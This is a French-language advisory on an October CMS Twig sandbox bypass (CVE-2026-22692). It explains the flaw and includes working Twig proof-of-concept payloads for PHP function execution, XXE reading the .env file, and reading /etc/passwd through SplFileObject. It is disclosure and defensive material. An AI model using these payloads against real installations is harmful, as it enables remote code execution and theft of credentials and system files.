
CVE-2026-22692 - Contournement critique du bac à sable Twig via collect()->mapInto() permettant RCE/LFI/XXE dans October CMS
| Champ | Détails |
|---|
| Identifiant CVE | CVE-2026-22692 |
| Sévérité | Modérée (CVSS:3.1 4.9) |
| Avis | GHSA-m5qg-jc75-4jp6 |
| Produit affecté | October CMS (<= 4.1.4, <= 3.7.12) |
| Type de vulnérabilité | Contournement du bac à sable Twig -> RCE, LFI, XXE |
| Découvert par | Lukasz Rybak |
Une vulnérabilité critique existe dans le bac à sable Twig (mode sécurisé) d'October CMS, permettant aux utilisateurs authentifiés disposant de privilèges d'édition de modèles de contourner les restrictions de sécurité et d'exécuter du code PHP arbitraire (RCE) ou de lire des fichiers arbitraires (XXE/LFI) sur le serveur.
La cause racine se trouve dans October\Rain\Support\SafeCollection. Cette classe implémente l'interface CallsAnyMethod, qui indique à System\Twig\SecurityPolicy de contourner la liste blanche de méthodes standard pour l'objet collection lui-même.
Bien que SafeCollection tente de filtrer les arguments pour empêcher l'exécution directe de callables, il ne bloque pas la méthode mapInto($class). La méthode mapInto itère sur la collection et instancie le nom de classe fourni :
new $class($value, $key);
Cela permet à un attaquant d'instancier n'importe quelle classe connue de l'application.
La System\Twig\SecurityPolicy met explicitement en liste blanche la méthode __toString() sur tous les objets. En instanciant Psy\Readline\Hoa\Xcallable (qui encapsule un callable) et en l'enveloppant dans un GuzzleHttp\Psr7\FnStream (qui appelle une fonction définie par l'utilisateur dans sa méthode __toString via la propriété _fn___toString), un attaquant peut déclencher l'exécution de fonctions PHP arbitraires ne nécessitant aucun argument (par exemple, php_uname, phpinfo) simplement en affichant l'objet dans Twig.
La classe SimpleXMLElement accepte un indicateur d'option libxml comme deuxième argument de son constructeur. mapInto() passe la clé de la collection comme deuxième argument au constructeur. En créant une collection avec une clé de 2 (qui correspond à LIBXML_NOENT), un attaquant peut activer la substitution d'entités externes dans SimpleXMLElement, conduisant à une XXE immédiate et à la capacité de lire des fichiers système.
Une vulnérabilité d'inclusion locale de fichier (LFI) plus directe existe en utilisant la classe native PHP SplFileObject. En instanciant SplFileObject avec un chemin de fichier et un mode de lecture (transmis via mapInto), un attaquant obtient un objet fichier itérable. Passer cet objet à l'assistant collect() déclenche une itération immédiate (via iterator_to_array dans le noyau du framework), ce qui contourne la politique de blocage de méthode du bac à sable. Cela permet de lire n'importe quel fichier auquel le serveur web a accès, sans nécessiter de support XML ou de bibliothèques tierces spécifiques.
CMS_SAFE_MODE=truephp_uname){% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
Informations système : {{ f }}
.env){% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Utiliser la clé '2' (LIBXML_NOENT) pour activer la substitution d'entités dans SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
CONTENU DU FICHIER (.env) :
{{ x }}
/etc/passwd via SplFileObject){% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
Résultat LFI :
{{ content.join('') }}
Exécution de code à distance (RCE), Inclusion locale de fichier (LFI), Injection d'entité externe XML (XXE).
/etc/passwd, configuration de la base de données, .env, etc.) via plusieurs vecteurs (SimpleXMLElement ou SplFileObject).Cela affecte toute installation d'October CMS où des utilisateurs non fiables ou semi-fiables ont accès à l'éditeur de modèles du CMS, leur permettant effectivement d'élever leurs privilèges au niveau Administrateur système / Root.
Ce CVE a été divulgué de manière responsable conformément aux pratiques de divulgation coordonnée de vulnérabilités. Les informations fournies ici sont uniquement à des fins éducatives et défensives.